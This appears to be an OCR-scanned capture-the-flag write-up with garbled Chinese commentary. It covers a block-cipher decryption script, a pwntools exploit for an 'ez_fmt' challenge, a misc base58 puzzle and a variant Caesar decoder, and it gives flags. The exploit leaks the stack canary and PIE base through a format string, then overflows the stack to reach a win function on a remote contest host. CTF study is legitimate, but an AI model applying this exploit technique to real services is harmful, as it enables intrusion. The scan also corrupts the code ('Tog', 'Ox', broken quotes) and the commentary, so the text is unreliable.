rotate_amountl = (accumulator % 7) + 1
left = circular_right(left, rotate_amountl)
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key_idxl = accumulator & 3

transforml = (right >> 5) A ((right * 16) & MAX_U32)

Teft = (left - ((key_mat[key_idx1] + accumulator) A (right + transforml))) &
MAX_U32

return left, right

def process_all_blocks(input_data, key_mat):
data_copy = list(input_data)
num_pairs = len(data_copy) - 1

for idx in range(num_pairs - 1, -1, -1):
data_copy[idx], data_copy[idx + 1] = decode_pair(
data_copy[idx], data_copy[idx + 1], key_mat

return data_copy

def convert_to_text(decoded_words):
raw_chars = bytearray()

for value in decoded_words:
# K
raw_chars.append((value >> 24) & OxFF)
raw_chars.append((value >> 16) & OxFF)
raw_chars.append((value >> 8) & OxFF)
raw_chars.append(value & OxFF)

return raw_chars

def main_function():
# X RN SR
encoded_data =
Oxd7e2cb3e, Ox1fdaaa30, 0x795cc461, 0x935c4ce6,
0xf587b2c4, 0x71417d92, 0x30059c32, 0x8f07b51f,
0xb53bb9aa, 0x9b981529

print("IEEWIRMMBE LR, ..M
print(f"#HEsE: {Ten(encoded_data)}")

key_material = create_key_material()
print(F"AEfr sk : {[hex(k) for k in key_materiall}™)

result_words = process_all_blocks(encoded_data, key_material)
char_buffer = convert_to_text(result_words)

# A F RIS T 30



decoding_methods = [
(" brUEfREY ", lambda b: b.decode('ascii', errors='ignore')),
("UTF-8f#f4 ', Tambda b: b.decode('utf-8', errors='ignore')),

success = False
for method_name, decode_func in decoding_methods:
try:
extracted_text = decode_func(char_buffer).strip('\x00")
if extracted_text and any(c.isprintable() for c in extracted_text):
print (f"\nifiid {method_name}3RE45 ")
print(f">>> {extracted_text}")
success = True
break
except Exception:
continue

if not success:
print C"\nArESCA RIS R, BoREGR A )
hex_output = char_buffer.hex()
print(f"+ A #E#: {hex_output}™)
print(f"EEFY: {repr(char_buffer)}")

# SN Y ARG

alt_buffer = bytearray()

for val in result_words:
alt_buffer.append(val & OxFF)
alt_buffer.append((val >> 8) & OxFF)
alt_buffer.append((val >> 16) & OxFF)
alt_buffer.append((val >> 24) & OxFF)

try:
alt_text = alt_buffer.decode('ascii', errors='ignore').strip('\x00")
if alt_text:
print (F"\n/hiiFgisssit: {alt_text}™)
except:

pass

if name == "main":
main_function()

pwn

ez fmt

(pwn-env) szrw@LAPTOP-SCQVUAR9: $ checksec /mnt/d/1/Documents/ez_fmt/ez
[ 1 '/mnt/d/1/Documents/ez_fmt/ez_fmt'

Arch: amdé6u-64-little

RELRO: Partial RELRO

Stack:
NX:

PIE:
SHSTK:
IBT:
Stripped:
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EEMpiefbH T, FEBIUFRHFHERRINEEHRER, Bt =fFRRRItER LY
Canary f1—> #2/Fitbllt, $HEMIE Payload IHFAE X, FRIFEE] Canary, BZHIREREU ret+ win
REUEE, RABEEAIXK Payload £B&E&% LR Canary SHFERFEER, FRLOUZ MRS, TiwE
23 ARTILA 00 5ERIMEH 8 FH1E, RIBEMEEER25, @it GDB IEHAI, (Wi 25 4hiEERY
HoHER main RECAMBANRERbBLIE, FidashalBwin RE{RFS: 0x11e9, objdumpfEZiret gadget I
. 0x101a

expal ™

from pwn import *

# AN E
HOST = 'challenge.bluesharkinfo.com'
PORT = 22415

BINARY = './ez_fmt'

# [RARIRIEE R €]

CANARY_OFFSET = 23 # FHEIN: canary fEMmE 23
PIE_LEAK_OFFSET = 25 # SN IREEEE Canary+2 = 25

# [R5 e B ]

# WEMREHGE (vuln return to main) ¥gZs bk ZEE

# 0x535b (saved rip) - 0x4000 (base) = 0x135b

OFFSET_LEAK_TO_BASE = 0x135b

# HirsHUWs

OFFSET_WIN = Ox1le9
OFFSET_RET = Ox10la # #&xf% gadget

context.arch = 'amd64'
context.log_level = 'debug'
def pwn(Q):

try:

p = remote(HOST, PORT)

# f1& payload [EIRT;tHEE Canary(23) 1 PIEHbE(25)
# IXEBRY payload 1RfE, A&fitAk stack smashing
payload_leak = f'%{CANARY_OFFSET}$p | %{PIE_LEAK_OFFSET}$p'.encode()

Tog.info("/ki%iitE Payload...")
p.recvuntil(b'input:"')
p.sendline(payload_Tleak)



# FRVPOT AT

# IERATRE AL, RICE | mAT

data = p.recvuntil(b'|', drop=True) + b'|' + p.recvline()
# RWEBE—1TEH | N8

Tine = data.strip().split(b'\n')[-1].decode()

parts = line.split('|")
canary = int(parts[0], 16)
leak_addr = int(parts[1], 16)

log.success(f" & canary Found: {hex(canary)}")
log.success(f" Leaked Addr: {hex(leak_addr)}"™)

# TN
base_addr = Teak_addr - OFFSET_LEAK_TO_BASE

# TR SE MG Y
if base_addr & OxFFF != 0:
Tog.warning(" a 4. TFEHENEKEAZ000, HE2Z PIE_LEAK_OFFSET XJ M (A2
iR AR ")
# WX, U offset 25 NELAIHHIMHIE, HE ez_fmt KAEH HEH L E

Tog.success(f" & PIE Base Addr: {hex(base_addr)}")

# THE RS
win_addr = base_addr + OFFSET_WIN
ret_addr = base_addr + OFFSET_RET

#

# 2. WlBhEL (stack overflow)
#

# EHEAKE. (Canaryfif - Bufferfifz6) * 8%¥
# (23 - 6) * 8 =17 * 8 = 136 i

padding_len = (CANARY_OFFSET - 6) * 8
log.info(f"Padding Length: {padding_len}")

payload = b'a' * padding_len

payload += p64(canary) # KE Canary

payload += p64(0) # 01d RBP (HFOHIHA])

payload += p64(ret_addr) # Ret Gadget (#&xi5%, Pilkcrash)
payload += p64(win_addr) # PR win

Tog.info(" kiM%l Payload...")
# R AR
p.recvuntil(b'2nd input:')
p.sendline(payload)

3. ¥ Flag

H B H*

p.interactive()

except Exception as e:
Tog.error(f"Exp kM: {e}™



p.close()

if name == 'main"
pwn()

et i)
e —

RiERERATIENNELZERENHIES S, AEPREBIAPTEARFKSAH BER"
(Oceanlotus, APT-C-00) ,
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e/

REBE APTARNHEAEF L, HE=MBRIEEERINSIER TR, BREEXREFRR
IR, SFEENFREFTIR, S=MR&ETEEBIZ "UPX

misc
SERRAIXSE

B zipEa R Hzip.zipAIEMRIESgf, RIBIRNGE R LR RAHRIRATIN RIS E RS a7,
HEXTRNIETSPNFAEITRS, BRIREFRTEbase58fF%
2WqjC2gD7HL0o86yRWhKEaC3ZXw8T98Mz

flag ISCTF{HOW_834u71fu1!ll}

Signin

Ez_Caesar

RN

def variant_caesar_decrypt(ciphertext):
decrypted = ""
shift = 2 # VIHBAE SIS
for char in ciphertext:
if char.isalpha(Q):
if char.isupper(Q):
base = ord('A")
# fE. W mEs Qkshift) , BUBRELRIE T REE
new_char = chr((ord(char) - base - shift) % 26 + base)
else:
base = ord('a'")
new_char = chr((ord(char) - base - shift) % 26 + base)
decrypted += new_char
shift += 3 # FELr{EIEIG RN 5 n#s—2
else:
decrypted += char
# AEFRFRASEshi ft OnE 7Bk shift+3)
return decrypted

# HIRNEE

ciphertext = "KXKET{Tubsdx_re_hg_zytc_hxqg_vnjma}"
plaintext = variant_caesar_decrypt(ciphertext)
print("f#ELE (Flag) : ", plaintext)

5%lflag ISCTF{Caesar_is_so_easy_and_funny}
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